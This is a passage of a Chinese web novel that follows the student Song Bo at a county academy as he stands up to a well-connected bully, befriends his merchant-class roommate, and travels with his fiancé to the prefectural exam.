“我看霞县今年批卷放了水吧,不然怎的连这种人都能当上案首。”另一人跟着说道。 “不知宋某何事做得不好惹了两位同学,只是宋某得案首之事公平公正,你们不能自己当不上案首,便说别人是被放了水的,这话若是传到杨知县的耳朵里,那”宋泊从位置上站起来回道,话语未尽但已意味无穷。 “你!”其中一人指着宋泊。 宋申闻按下那人的手臂,“魏兄可消消气,我这侄儿说话不中听,你们当过耳云烟就是。” “宋弟,你可得好好管教一下你家侄儿。”魏关放下手,给了宋申闻面子。 “是,我定会好好说他的。”宋申闻说。 宋申闻啥事没做,短短几句话就将错儿全推到了宋泊的头上,宋泊本来就对宋申闻没好感,自不会让他将错儿推到他头上,“小叔此言差矣,两位仁兄先开口在先,怎么像是侄儿犯了错?世人都说胳膊肘不能朝外拐,你怎么既不帮亲,也不帮理呢?” 宋泊说话的声音不小,边儿有其他同学都凑过来看热闹。 被宋泊一说,宋申闻脸上挂不住面子,他嘴角的笑都抽动了几分,“侄儿,多日未见你倒伶牙俐齿许多。” “伶牙俐齿说不上,只是有人诋毁我之案首名头,我反驳而已。”宋泊说。 “你有这般本事,那便跟我比试一番?!”魏关高声道。 “我自然是拒绝。”宋泊眼神平淡,“规律论中写了,禁止学子私下比试,魏兄?你邀我比试莫不是要害我?” “是呀,规律论确实写了这条。” “魏关这是气上了头,忘了学府规矩了吗?” “新来的案首厉害呀,来到学府不过半日,已然将规律论背了下来,这脑子可真是好使。” 周围学子议论纷纷,魏关左看看右看看,觉着大家都在说他,“好,私下比试不成,那我们就乡试见真章!” 宋泊嘴角微微上扬,笑不达眼底,说:“到时魏兄可记着,男子有泪不轻弹。” 上学第一日,宋泊便因得罪魏关而在学府中出了名,或许是因着这事儿,未有其他学子与他打过招呼,最多只是眼神上示意,倒也让他清闲了几分。 亥时初,宋泊回了宿舍,同寝的路砚知已经在房内,宋泊瞧着此人有些眼熟,还未想起在哪儿见过之时,路砚知就将手中东西放下,走到宋泊面前,“你应该就是宋泊宋公子吧?” “正是。”宋泊答道。 “那日你家童子挤进人群中看榜,我正巧听着他说你得了案首,当时我便留心着你,今日看来才知,宋公子当真是!器宇轩昂!”路砚知道。 “器宇轩昂可是称不上,你也莫喊我宋公子,既同住一寝,我喊你路兄可否?”宋泊说。 “那自然好啊!”能与案首兄弟相称,路砚知想都不敢想,忙答应下来,“听说你今日得罪了魏关他们?” “算得罪吗?”宋泊思索了下,说:“我只不过如实告知而已,若他们觉着如此便是有意针对他们,那我也无话可说。” 路砚知高兴得直拍手,“好啊,我总算看着学府中有人不畏他们了!” “同为学府学子,他们有何不同?竟会令人畏惧?”这种学子间微妙的关系,学官不晓,自然也不会与宋泊说道。 说起那三人,路砚知可是来了劲,他起身将门窗全都关严实了,随后才低声与宋泊说道:“你不知,那三人背后皆有些官中势力,在学府里横着走,大伙儿生怕惹他们个不如意,便被逐出学府失了乡试的资格,故而都夹着尾巴,言听计从。”路砚知吞了口唾沫,接着说道:“他们尤其瞧不上商人之子,不巧,我便是商人之子,没少受他们欺压,丙、丁班中有半数的商人之子,几乎都被他们欺负过,不过士农工商,商在最后一名,与官作对那便是自找死路,所以大家受了气都只能委屈着往肚子里咽。” 恒国虽然也是商排在最后一位,但因着圣上开明再加有人上奏,十年以前放开商人入仕的限制,商人之子也可通过科举考取功名的方式改换家中地位,故而学府中也有些商人之子考了童生在此学习。 “连教谕他们不管吗?”宋泊问。 “想管也管不得呀,且不说那背后之人的官阶皆高于连教谕,就是不高,他们的手段都阴险得很,擦着边将人逐出学府,连教谕也找不着理由反驳,只能吃哑巴亏。”路砚知答。 “没想着学府中也有这等恶霸。”宋泊道,学府是用来学习的地方,不过出身好些,便瞧不起一同学习的学子,宋泊瞧不起这般霸道行径,也不怕被他们记恨。 这宋申闻当真是忘了本,不过成了余县尉的女婿,便忘了自己是农户出身,竟陪着他们一起欺压府中学子,这事儿若是让宋茶栽听着,可不得直接气晕过去。 “谁说不是呢,所以大家听着你敢与他们对着干,都纷纷给你加油呢!”路砚知说。 “路兄作为我的寝友,他们定会再找你麻烦,你便不怕?”宋泊问。 路砚知大笑两声,“我早气不过了,不能考试便不能考试吧,我总得把这口恶气出了。” “好啊,路兄有此志气宋泊佩服,不过路兄也不必担心,你定能考试。”宋泊说。 路砚知斜眼瞧来,“莫不是你身后也有背景?!” 宋泊没有明着回答路砚知,只答:“你自不必担心就是。” 第97章 第九十七章未来夫郎。 魏关他们许是忌惮宋泊案首的名头,自那日语言上冲突以后,没实的找他麻烦,只是乡甲班无人敢跟他交流而已。 二月二十日夜,宋申闻找着宋泊。 按辈分称,宋申闻还是宋泊的小叔,宋泊唤道:“小叔。” 晚上是自习的时间,其他学子皆在学堂中自习,也是宋申闻说了有事要与宋泊说,宋泊这才给了他一些时间,随他一同到学堂外的休息亭中。 “被他人孤立的滋味可是不好受呐,你不如与魏兄服个软,我再帮你美言几句,这事儿不就过去了吗?”宋申闻道。 宋泊转身过来瞧着宋申闻,“同为学府学子,作何我们如此低下?” “这学府已是小官场,你自得看清局面。”宋申闻说:“他们赶出去的学子可不少,小叔不想瞧着你停步与案首。” “小叔你不必劝我,若你害怕只管与他们他同行就是。”宋泊留下这句,便离了亭子,留宋申闻一人站在亭子之中。 宋申闻看着宋泊远去的背影,面上毫无表情,宋泊只管去惹他们就是,把自己前途葬送了,他便是宋家唯一的读书人。 繁星高挂空中,风中吹着春天的气息,今日是个好天气,可路砚知回寝室时却面露苦色。 宋泊放下手中的书,瞧着进房来的路砚知是那副面色,便说:“路兄看着不大高兴呐。” “那魏关真是欺人太甚!”路砚知看着宋泊就难掩委屈,将今日发生的事儿说了出来。 路砚知家中做饭馆生意,既是饭馆,那馆中厨子自然技艺高超,路砚知自小吃着馆中饭菜长大,便吃不惯学府中厨子做的菜,难以下咽地吃了两日,终是跟学官申请了不吃学府中食,每日由馆中店小二带饭菜来。 一日魏关在食堂遇着路砚知,闻着他的饭菜香,便大着胆子与之交换了菜品,美名其曰是要品尝一下路家饭馆的味儿,好推荐人去饭馆中用餐。 路砚知信了他第一次,之后便有第二次、第三次,若路砚知这还不知道自己被霸凌了,那就是白瞎了童生这个身份,可他又没什么好的法子与魏关他们对抗,便只能由着他日日与他交换菜品。 宋泊来了后,激起了路砚知的反抗之心,今日魏关又来找他换菜品,路砚知头一次出言拒绝了他,结果就是饭也没吃着,还得了个威胁,说过几日就给他好果子吃。 “路兄莫怕,这几日饭点你便等我一起,我们一起去食堂吃,我倒要瞧瞧他能给你什么好果子吃。” 翌日,宋泊与路砚知同坐食堂,魏关果然来找了路砚知的麻烦。 “宋案首也在这儿呢?”瞧着路砚知的桌上还有宋泊,魏关倒是有些惊讶,他从未记过谁与谁在一间宿舍,便不知宋泊是路砚知的寝友。 宋泊未起身,抬着眸瞅着魏关道:“魏同学可有何事?” 魏关摆出一副为宋泊好的模样,说道:“我可提醒宋案首一句,这商人身上有股铜臭味,你可得远着些。” “你!”路砚知一下拍桌而起。 宋泊拍了拍路砚知的手臂,让他稍微冷静些,而后才与魏关说:“此言倒是有些意思,我离路兄这般近都没闻着,倒是你离了百米远却闻着了,那鼻子与寻常人不同,确实灵敏些。” 这话听来像在夸魏关,但魏关就是从中听出了几分话外之意。 “宋弟,你不是说你已说教过你家侄儿了?”魏关扭过头,看着站在他身后的宋申闻。 “是说过了,不过侄儿年幼,还是有一番气性。”宋申闻道。 “若魏同学没什么事,那便别打搅我们用餐。”宋泊拉着路砚知重新坐下,路砚知缓缓坐下,胸口处起伏极大。 魏关领着人往前走了几步,“路同学,今日吃的什么?” 路砚知紧紧盖着饭盒,道:“你管呢?” 魏关倾身下来,小声着道:“我还可以再给你个机会。” 路砚知斜眼上瞥,昨日魏关都说得那么绝了,今日还能这样虚伪,现在信了他,过两日又重遭起伏,他不是傻人,早便想给自己出口气,路砚知道:“你可离我远些吧,别熏着你了。” 以往受逆来顺受的人却脱离了自己的掌控,魏关面上挂不住,他点了两下头,看了眼宋泊又看了眼路砚知,道:“好啊,咱们走着瞧。” “太爽了宋弟!你瞧着那人面色了没,看到他面露菜色我高兴坏了!”路砚知边说边将自己的饭盒打开,之前掩着便有香气,现在完全摊开了来,香气更甚。 路砚知把饭盒一层层拿下来,拿着干净未动过的筷子夹菜到宋泊的饭盘上,“快尝尝,我家厨子的手艺可好了。” 宋泊拿起筷子,将路砚知夹来的蒜泥白肉送入口中,白肉入口即化,蒜泥的味道并不冲,反而与酱油的味道很好的融入在一起,当真是好吃,难怪魏关会每日来找路砚知换饭吃。 “好吃吗?”路砚知期待地瞧着宋泊。 宋泊点着头,“好吃。” “那便好!”路砚知又夹了不少给宋泊,而后才拿着那双筷子开始吃饭,“往后你若是想吃什么菜你就与我说,我让我家厨子做,今日点明日便能吃着!” “我觉着学府饭菜就挺好的,不必麻烦了。”宋泊说。 “也不知我还有没有机会与你一同吃饭。”路砚知说着,其实也不是很难过,因着今日看到魏关脸色差成那样,他心中已然爽过一回。 “当然,我们还得一块儿去参加乡试呢。”宋泊说。 “你说得对!”路砚知猛地扒了两口饭,“我不能那么悲观,我还要和宋弟一起去参加乡试,一展宏图!” 二月二十七日,学府月底例行休息两日的第一日早晨,宋泊和路砚知都被叫到了清风馆。 宋泊与路砚知先与连教谕行了礼,随后乖巧站于馆中。 连教谕开门见山着问道:“前几日你们可是与人起了冲突?” “回连教谕,并非冲突,只是魏关瞧不起商贾之子,还要抢路兄的饭,我看不过去与他理论几句,想不到在他口中竟成了冲突。”宋泊乖巧着答道。 “魏关的父亲是银湖州同州,他若是要将你们逐出学府,我也没有办法呐。”连教谕虽然不满魏知州因权势压人,但在官场中生存,需深谙官大一级压死人的道理,他一个正八品的官,确实管不着从六品官的事儿。“你们就后退一步,待熬出了官职,再出恶气就是。” 路砚知学识尚可,宋泊又是个案首,连教谕不想放弃任何一人,再说:“小不忍则乱大谋,你们都是要考科举的人,当知道这个道理。” “魏同州已经暗示过一回,被我找借口堵了回去,若是再有下次,我也难保你们了。”连教谕说。 听着连教谕的循循教诲,路砚知低了头,随后又抬头起来,“连教谕,可那魏关实在欺人太甚。” “是啊,连教谕,在学府中不得按规律论行事吗?”宋泊道。 “我知的,不过我还是得劝你们忍着。”连教谕道,“你们以后大有作为,到时在报此事之怨也来得及。” 连教谕说了宋泊和路砚知半个时辰,虽说逐出学府的事儿被他堵了回去,可一些惩罚还是得有,便罚了他俩扫学府前院,前院干净才可以离开学府回家休息。 “我定要好好读书,君子报仇十年不晚。”路砚知手里抓着扫帚,边扫边愤愤不平。 魏关正在这时准备出学府回家,门外有魏府的马车候着,魏府的侍人也守在学府门口,见着魏关的身影,忙喊道:“魏少爷。” “呀,被罚扫地了呀?”魏关看着两人在前院扫地,心情愉悦,“这只是个警告,再有下回便不可在这学府待了。” 看着魏关逐渐远去的身影,路砚知没忍住挥了下扫把,“什么人。” 江金熙在学府门口等候许久,不断有人从学府中出来,却一直没看见宋泊的身影,等了半个时辰,江金熙实在是心底着急,怕宋泊出了什么事儿,便拉着青桥上了台阶,站在学府大门门口正打算问学府中杂役,便看着前院有两人正在扫地,其中一人还是宋泊。 江金熙跨入学府内,急道:“宋泊,你怎么在此扫地?” 闻声宋泊直起腰,见着眼前人他惊道:“金熙,你怎么来了?” “这不是你第一次从学府回家,我就想着来接你了。”江金熙道:“你做错了什么,怎的会被罚在这儿扫地?” “此事说来话长,待回家我在与你细说。”宋泊道。 路砚知听着宋泊这边有说话声,他也抬起头来,看着江金熙,他打招呼道:“弟夫郞,你来啦。” 听着这般称呼,江金熙看了宋泊一眼,随后问着路砚知,“你怎么称呼我为弟夫郞?” “那日看榜我瞧着你就站在宋弟身边,这日休息你又来接宋弟,我便猜你是弟夫郞。”路砚知双手摸在扫帚把上,“难道我猜错了?” “你猜得没错,只是未来才是弟夫郞,现在是我爱人。”宋泊说。 第98章 第九十八章魏关服软。 坐在回镇的马车之中,江金熙说道:“什么,还有这种事情。” 有人的地方就有争端,只是江金熙没想到宋泊不过去了学府半月,就被家中有官职的人给欺负了去,这他可忍不了,“我写封信回去京城,这魏同州实在过分,把整个学府搞得乌烟瘴气的。” “不必,我听闻万知州三月中要来到学府中,到时我再设计就是。”宋泊道。 “何须如此麻烦。”江金熙不想任何事在这个时候影响到宋泊,乡试的日子一日一日接近,这时的时间贵如黄金,可不能耗在无关人身上,“霞县离京城又近几分,送信来回不过半月,到时他便无法那般嚣张了。” “距离乡试不过七个月,你就让我帮你一回吧。”江金熙知道宋泊是什么性子,独立自主,不喜依赖他人,正是因此,江金熙才更想帮宋泊,“之前在霞县客栈里我与大姑说过的话你应当还记着?” “我还记得。”宋泊牵上江金熙的手放在自己的大腿上,“只是我不想麻烦你。” “这不是麻烦,你不依赖我我可是要难过的。”江金熙反手牵住宋泊的手,“现在爹爹帮你,等你成了官换你帮爹爹,互帮互助才是家人相协之法。” “那就拜托金熙了。”宋泊道。 “好~”江金熙欣然应允。 江金熙说做便做,直接在路边找了个书店,进里头买了纸借了笔,未出霞县就已经将书信寄了出去,不过一个同州之子就如此嚣张,都敢欺负到他家宋泊的头上,他可得让他瞧瞧人外有人、天外有天。 回到宋宅,江金熙已经准备好了饭菜,学府中菜品不好的事儿他早有听闻,宋泊去了十五日,都瘦了些。 宋泊一听江金熙又说自己瘦了,忍不住笑道:“学府菜品虽然不好,但我还是每日食完,定然半点没瘦,反而还胖了才是。” “哪有。”江金熙抬手扯了下宋泊的脸,只扯起来一丝丝,“这样还不瘦,我定要帮你好好补补。” 这下好了,往日是宋泊给他补,现在倒反过来,轮到他给宋泊补了。 江金熙从喜春楼挖了个厨师过来,每日在宋宅里做着好饭好菜,不过他每日在愈馆中待着,愈馆有手术他便上场,故而一日三餐只有早晨那餐会按时吃,中餐和晚餐就得看有没有病人来,如此就算他好吃好喝着,也没胖多少,还是以前那副瘦嘎嘎的模样。 饭桌上,江金熙起了些兴趣,问道:“去了学府可有意思?”京城中的学府他也去瞧过,自己也上过学,但还是好奇霞县内的县学有何区别*。 “没什么意思。”宋泊答。 且不说魏关他们霸凌学子的恶心行径,就是没了他们,宋泊每日也就是睡觉、读书、吃饭三件事轮着干,实在是枯燥无趣。 “那学府食堂可好吃呢?”江金熙再问。 “自是不如家里。”宋泊答,江金熙请了喜春楼的厨子后,家中菜品质量直线上升,在学府吃得久了,今日一尝,虽只是家常菜,却似尝了山珍海味。 “真不用我派人送饭去吗?”江金熙道:“阿朝每日就是养养马,也是闲得很,每日驾马来回耗不得多少时间,早些时候家里做了饭在给你送过去,也无妨的。” “没事儿。”宋泊说:“我去学府也不是享福去的,吃得差些磨炼心智,明年秋闱被关在号房之中,才不会想美食想得抓耳挠腮。” 乡试考三场,每场考三日,期间考生就只能在几平方的号房中生活,可谓是苦中之苦,早些时候模拟一番,对适应乡试只有好处。 “话都让你说去了。”江金熙说不过宋泊,只能往他碗里夹了菜,“那你便在休息这两日多吃些。” 宋泊夹着一块江金熙夹给他的鸡肉送入口中,“还是我家准官夫郞疼我。” 江金熙放下筷子,双手捧着脸颊,双眼带着星辰看着宋泊,“我不疼你还有谁疼你。” 两日时间一晃即过,宋泊跟江金熙腻了两日,终是念念不舍地回了学府。 要说宋泊进了学府最烦什么事,那便是不能日日瞧着江金熙,这一日、两日尚且可以忍受,一关关二十八天,只能让他相思成疾。 三月一日午时,路砚知来寻宋泊一道儿吃饭,“宋弟!” 宋泊与路砚知同行,见路砚知嘴角一直带着笑,便问:“发生什么事儿了?今日这么高兴?” “前两日咱们不是被罚了扫院子吗?我回去就把这事告诉了我爹,我爹说不必给那些人面子,若是读不了书了,他愿意养我。”路砚知想起路父当时说话的神情,心底不自觉骄傲起来,与恶人对抗的底气便是由家人给予的。 “如此路兄倒是不怕了?”宋泊问。 “怕又不怕。”路砚知反过身倒着走在院中,“高兴归高兴,可我不想让我爹失望,他们不太过分的话,我便是能避则避吧。” “也好。”宋泊说。 三月十五日正午,宋泊和路砚知正在食堂中吃中餐时,魏关他们找了过来,这次却不是找他们麻烦,而是来与他们道歉的。 宋申闻依旧跟在魏关的身后,脸色不好,想必是魏关服了软,却让他在侄儿面前丢了面。 魏关先行一礼,随后瞧着宋泊,让身后的学子将食盒端上来放在宋泊的桌子上,“宋同学、路同学之前是我过分了,这些是我家侍人从外头买来的吃食,若是不嫌弃的话,便送于你们为歉礼。” 见魏关这副态度,宋泊便知恐怕是江金熙送回京城的那封信起了作用,只是不知道江丞相送回来的信上写了什么,让魏关瞧他的眼神中还藏了几分惊恐。 路砚知本来都将筷子放下准备看魏关要放什么屁,现下看他这副卑微底下的模样,他还以为自己做了梦,没醒呢,“宋弟,你捏我一下。” 宋泊也不客气,直接揪着路砚知手臂上的肉,拧了下,疼得路砚知嗷呜惊叫出声,“原来这不是梦啊。” “当然不是,哪儿有这般真实的梦。”宋泊道。 魏关带来的菜品许是家中厨子做的,饭盒一打开,香气四溢,并不比自家厨子差,路砚知狐疑地看着魏关,脑袋一歪斜在宋泊这侧,抬着右手捂着嘴小声说道:“这魏关有这么好心?怕不是设了什么陷阱等我们跳下去?” 路砚知有这般想法实属正常,自他进县学以后,一直被魏关欺负,欺负的手法五花八门,期间也有类似这种说是给吃食,实则吃下一口就要倒大霉的事儿。 “他是没那么好心,但这不是陷阱,你尽管吃就是。”宋泊说。 魏关像是猜着路砚知想着什么,开口道:“路同学,我是真心实意来道歉的,你尽管吃了就是,没有任何问题。” 路砚知瞥了眼魏关,又转头回来看了眼宋泊,见宋泊点了头,他才伸筷子夹了魏关带来的东坡肉,东坡肉入口即化,做菜人跟他家厨子不相上下。 “宋同学,你瞧路同学也原谅我了,你便当之前的事儿未发生过呗。”魏关双手放在腹前局促地摩擦着,眼神中也带了些讨好的小心翼翼。 宋泊还未开口,倒是路砚知先说了话,“我原谅了?什么时候?你抢了我几十顿饭,只这一顿便想让我原谅,门也没有。”虽说不知道魏关的态度为何如此转变,但他有眼力见,知道魏关此时正怕着宋泊,此时不狐假虎威,更待何时? “你也听到了,路兄还未原谅你。”宋泊道。 魏关脸上绷着的笑容一瞬间的龟裂,又迅速地变了回去,“那依宋同学看,我该怎么做?” “问我作甚?问路兄。”宋泊道:“不过有个事儿你等会倒是可以先做。” “何事?”魏关问。 “我们之前扫了前院”宋泊话还未说完,魏关就灵敏地接上话头,“等会儿我便去把前院扫了。” “扫得干净,我可原谅你,但路兄和其他被你欺负过的学子们原不原谅你,那我就不知了。”宋泊说,他来学府中一月,魏关也就让他扫过一次地,以牙还牙让他也扫一次两人就算扯平,若是用着江丞相的权势反过来欺负魏关,那他与魏关便没了区别,宋泊还有良心,做不出那般以权压人之事,但其他被他久久欺负的人便没那么好求原谅了。 “路同学,你说说你如何能原谅我?”魏关问。 “你吃了我几日的饭,便给我带几日的饭,还清了我就原谅你。”路砚知说,魏关抢了他几顿,他记得清清楚楚,从他上年成为童生到这县学之中,魏关共吃了他两百三十八餐。 “好说,好说。”魏关道:“那今日就是我还的第一餐了。” 路砚知听着魏关说的话,机敏回道:“说的歉礼,又变成第一餐了?” “是我说错了,是歉礼是歉礼。”魏关赶紧换了话。 第99章 第九十九章我想你陪我,一起去。…… 入了夜,四周安静得掉根针都能听得一清二楚,宋泊今日回宿舍早了些,路砚知还未回来。 宋泊坐在自己这边的书桌前,将今日夫子说的课温习一边,正读到一半,便闻着一股泥土味越来越近。 “宋弟,你看我给你带什么了!”路砚知一脚跨入宿舍,将手中之物高高抬起。 路砚知手里拎着个泥土块,泥土块有些裂纹,食物的香气便从那些缝隙中溜了出来。 “绝好的叫花鸡,最后一只,被我买了!”路砚知先把泥土块放在自己书桌上,随后桌上的书全都搬到床上,再将木桌搬到宿舍正中央,“快来快来,叫花鸡就得热乎着吃。” 宋泊放下手中的书,把自己的椅子搬过去坐下,问道:“不是门禁了吗?你怎么拿到的叫花鸡?” “我偷溜出去的。”路砚知用气声说:“你可别与他人说啊,不然我要被罚的。” 学府内严格执行时间表,学子亲人可以送饭来的时间只有午时一刻和酉时末,其余时间除了特殊情况,都不能出学府。这般严格管控之下,路砚知还能偷摸着猫出去,也是有点儿本事在身上。 “你定是想问我怎么出去的。”路砚知一边敲着泥,把泥块扒开,一边跟宋泊说道:“学府库房后头有个狗洞能钻出去,我便是从那儿出去的。” 听到这么个出去法子,宋泊忍不住给路砚知竖了个大拇指,“路兄果然干大事之人,连狗洞都钻得。” “嗨,为了吃,值的。”路砚知把包着鸡的叶片扒开,新鲜还泛着热气的汁水自叫花鸡的身上流了下来,他揪起一条鸡腿,直接塞到宋泊手中,“这可是鸡身上最好吃的地方,你快尝尝。” 路砚知盛情难却,宋泊便张口咬了一口,鸡腿肉鲜嫩,一咬下去爆着汁水,鸡肉混着汁水吃下,确实是难得的美食,难怪路砚知愿意冒着被学官发现的风险,出去买鸡。 路砚知给自己扒了个鸡翅膀,嗦得那叫一个干净,吃下一个鸡翅以后再没动过手,只是将鸡拆成一块一块的放在宋泊面前。 宋泊把吃好的鸡腿骨头放在桌上,问:“你怎的不吃?” “这是我买来谢你的,只是我刚刚实在馋了,才扒了个鸡翅吃。”路砚知不好意思道。 “谢我?为何?”宋泊不解。 “魏关今日说话时总是瞧着你,我便知道今日魏关那么低声下气都是宋弟你的功劳。”路砚知说,他一个商贾之子,背后没半点官的底气,魏关却来找他原谅,定然是他沾着宋泊的光了。 只是路砚知没想到,魏关的父亲已是六品,宋泊身后的靠山仅比六品还高,宋泊此人既有学识又有背景,考中当官只是时间问题。 思及此,路砚知羡慕的同时更多的是佩服,若让他来,他定然考不得案首,宋泊这是实力与运气并存。 “路兄说笑了,这算有什么可谢?”宋泊把鸡腿推至路砚知面前,“这般晚了,我也吃不了多少,路兄不与我一块儿吃可就浪费了这好菜了。” “宋弟你真好。”路砚知手中拿着鸡腿感动得就要落泪,“恒国就需要你这种栋梁之材!” 经过魏关的事儿,宋泊和路砚知成了好友,每日魏关都会送菜来,路砚知便分一半给宋泊,如此一来宋泊也不用吃学府难吃的饭菜了,体重未减反增不少。 四月中霞县进行了府试,不过这对县学中的学子来说并没有什么影响,能上县学的人都已有了童生身份,自然过了府试。 四月二十三日,路砚知带了壶酒回宿舍。 宋泊刚回宿舍,就闻到浓浓的酒味,路砚知应是已经喝了一阵了,脸上有些红晕,听着有人打开房门,他迷蒙地转过头来,见着是宋泊,他嘴角扯起一抹笑,“宋弟,你回来啦!” 宋泊眉头一皱,赶紧跨进房内将房门关起来,在学府里喝酒可是大忌,房门打开味道大,也许会被边儿路过的学子闻着。 宋泊把身上背着的书箧放下,而后做到路砚知身旁,“路兄,可是遇着什么失意之事了?” “我有个好友叫卢子谦。”路砚知边给宋泊倒酒边说着:“他今年好不容易过了县试,却还是被府试刷了下去。” 考科举哪儿容易,俗话说,三十老明经,五十少进士,五十岁才考中的大有人在,不过一次府试失利,宋泊并不觉得这事儿会让路砚知这么难过。 “路兄是为了这事儿难过?”宋泊问。 “也不尽然。”路砚知答,“我只是忽然有些怯场了。” “我与子谦一般,考乡试就已考了五次,花去了七年光阴,我比他运气好些,上年连过县试、府试,今年遇着院试,我突然犯了怵。”路砚知顿了下,端起酒杯,仰头喝下,“近日夫子说的话,我是越来越听不懂了,越近院试,我就越紧张,一心想着要多读些,不可丢了这次乡试的机会,却适得其反,越急越记不得,甚至连以前的一些知识,现在都混了来。” 路砚知抬手挎上宋泊的肩膀,“宋弟,我愁啊。” 宋泊顿时了然路砚知今日怎的会冒着被发现的风险而带酒回宿舍,原来是考前压力太大,愁得他大脑混沌,这才需要酒精麻痹。 路砚知比他早一年进县学,满打满算已经在这儿待了一年,一年以来都是学二十八日休两日,长年累月的压力积累下来,让他有些累了心,今日卢子谦落榜的事儿只是压死骆驼的最后一根草。 “路兄莫愁,考试这事儿急不得。”宋泊帮路砚知把空了的杯子倒上酒,压力太大将压力释放掉就是,喝酒大醉一场明日起来又是一条好汉。 “宋弟。”路砚知红着一张脸,抬手拍上宋泊的肩膀,“你是文曲星下凡,自是没这等烦恼。” 听路砚知这般说,宋泊笑了,“我哪儿是什么文曲星,我只是每日多读些时辰,勤能补拙罢了。” 先前在现代他苦心钻研古代文学,一钻研便是十年,这知识储量自是路砚知短短几年比不上的,可现代所学大的知识多少与古代有些出入,他便得以时间补上,将现代所学与古代融合起来应试,恒国皇帝喜欢才子,尤为喜欢会写策论的才子,故而科举以天子喜好为准,偏向策论,宋泊便每日下学后多学上两个时辰,将睡觉时间压至两个时辰。 路砚知沉重的脑子重新运转起来,确实,他每日夜中起来如厕,都能看着宋泊还在宿舍外,靠着月光读书。他曾叫宋泊进屋来点烛看书,却被宋泊以外头风过脑子会清醒为由给混了过去,现在想来,宋泊应当是怕点了烛,房内光亮,他不好入眠。 如此想来,路砚知自愧不如,他还嫉妒宋泊轻轻松松便能得案首,哪来的轻松,分明是用了别人睡觉的时间进行补缺补漏。 “好!”路砚知忽而就精神起来,乡甲班的人都如此,他一个乡丙班的人有什么理由不努力,“宋弟!” “你说。”宋泊道。 “明儿个我也要与你一起!再多学些时候!”路砚知豪气道。 “好!”宋泊应声。 翌日,路砚知确实与宋泊一起,在宿舍中继续自习,只是路砚知从未经历过这般高强度的学习,多学了半个时辰,就趴在书桌上睡着了。 宋泊瞧了他一眼也没狠心叫醒他,做事讲究循序渐进,路砚知第一天能多撑半个时辰已是进步,他估摸着往后路砚知大概能多学一个时辰,毕竟不是所有人都与他一样,每日只睡两个时辰还能精神抖擞。 每日晚上与宋泊一同学习,遇到不会的地方能立刻找宋泊解答,路砚知觉着自己学习的质量迅速上涨。宋泊比夫子讲得都好,言简意赅,简单几句话便能将他不理解的内容变成他能理解的话。 七月底,以乡字开头的班级全都从七月二十九日开始放假,直放到院试出榜以后。 八月三日便是院试的日子,让学子们再回县学读两日再去考试也无济于事,县学干脆就直接放了假。 “宋弟,你真的不与我一起去银湖州吗?”路砚知问。 “还有四日才考试,我想先回家一趟,你便先去吧。”宋泊答。 “好,那我们就号房见了!”路砚知撑着车板一个利落翻身上了马车,由自家侍人载着,先行去往银湖州。 “你在看谁呢?”见马车行动,宋泊便收回眼神,耳边忽而有了人声,江金熙不知何时站在他身侧。 每次相见都需隔上二十八日,每见一次,宋泊便觉着江金熙又好看了几分,“我在看寝友呢,他先去了银湖州。”说话间,宋泊自然地接过江金熙手中的东西,江金熙每月雷打不动,无论是何种天气都会来接他,接他时总会顺路带些吃食,就为让宋泊在回镇的路上不至于太饿。 “那你怎么不与他一同去呀?”江金熙问。 宋泊悄悄用小拇指勾住江金熙放在身侧的手,“我还是想你陪着我,一起去。” 第100章 第一百章住客栈。 “我听闻参加院试得穿着学服去。”江金熙看着坐在自己身侧的宋泊,他身着一身天蓝素色长袍,头戴庄子巾,俨然一副学子模样,之前宋泊在传福镇搬货时还有几分像寻常农户,现在学服一穿上,便周身都是书香墨气。 “正是的。”宋泊答。 院试需要他人担保,而自身出自哪间学府便显得尤为重要,每间学府的学服各不相同,负责审核考生的幕友便可依据考生的穿着判断考生来自哪间学府。 恒国抓作弊抓得严,若抓着考生作弊也可通过身上衣着找上那间学府,因此,为了自家学府的名誉,每间学府的教谕都会在考场门前巡过自家学子,由此也顺带防住了代考之事。 “你可有将另一套学服带回来?”江金熙问,宋泊就两套学服,身上穿了一套,另一套就得赶紧洗了,让宋泊穿上件干净的学服去考院试才行。 “带了。”宋泊拍了拍自己身上背的行囊,入夏以后,江金熙便将春季的衣服收了回去,给他留的都是夏季薄衣,看着行囊很小,实则里头装了多套衣服。 “那便好。”江金熙答道。 院试比县试高上两级,按理来说宋茶栽应当更担心才是,但这次宋茶栽没有从近里村赶来与他们一块儿去银湖州,说是村里有个老者犯了病,边上不可离大夫,这才下了决心医人而不陪自家侄儿去银湖州。 不过人未到,信却来了,宋茶栽在信上写着让宋泊自信些,无论结果如何,总是使尽全力就是,与信一起来的还有十两银子,银湖州是近里村所属的最高一级,自然繁华物价高,宋茶栽怕他身上银两不足,还特意捎了些银两上来。 瞧着银两,江金熙说道:“我都与大姑说了不必送钱,她还是要送钱来。” “你见过大姑?”宋泊问。 “七月底我去接你之前,回过一趟村子,为了你院试的事儿,大姑嘱咐了我好多事儿,当时我想着以大姑疼你的程度,定然会送银子来,所以我便与她说了我有钱,让她不必寄钱过来,她嘴上答应了,实际还是念着你,怕你没钱花。”江金熙回答。 宋泊将银两交到江金熙的手中,说:“无妨,到时在找个由头还她就是。” “还是别了。”江金熙将十两银子放入钱袋中收好,“大姑不能陪你去银湖州定然心底有愧,你收了钱她心中应该会好受些。”收钱起来并非他贪财,而是相处两年有余,他知晓宋茶栽是何种性子,既不能亲自陪宋泊上银湖州,就需在银钱上出份力儿,这样她个做长辈的才能安心。 “你说得有理。”宋泊道:“到时儿成了秀才也得撒些散钱,就用大姑的钱好了。” 听宋泊这般自信,江金熙笑道:“这么有自信,觉着定能成秀才?” “那是。”宋泊嘴角上扬,名次他无法保证,但上榜应当是没有问题,最近几月他瞧了当今圣上最爱的策论,从中找着些共通点,院试往乡试靠近,乡试又往会试靠近,会试往殿试靠近,最终都是看圣上喜欢什么而出的卷子,抓住策论的大头便是赢了一半。 “那我可得去买些个新的胭脂水粉,给你涨面儿。”江金熙顺着宋泊的话说道。 宋泊抬手轻环住江金熙的肩膀,将头靠在江金熙的肩窝处,“那我定会成为全近里村乃至传福镇内最令人羡慕的人。” 银湖州比霞县大,客栈自然也多,但宋泊和江金熙抵达银湖州的时候,却只找着家只剩一间客房的客栈,他们俩住一间倒还好,阿朝与他们一起上了银湖州,总不能叫人顶着夜色在驾马回去。 见自家主子为难,阿朝道:“我驾马多年,区区夜路不放在眼中,公子尽管与宋公子上楼歇息,我回传福镇等你们的好消息。” “那怎行!”江金熙忙出声,从银湖州回传福镇可得五个半时辰,他们刚花了五个时辰上州,怎能让阿朝又花五个时辰回镇,“我再想想办法。” 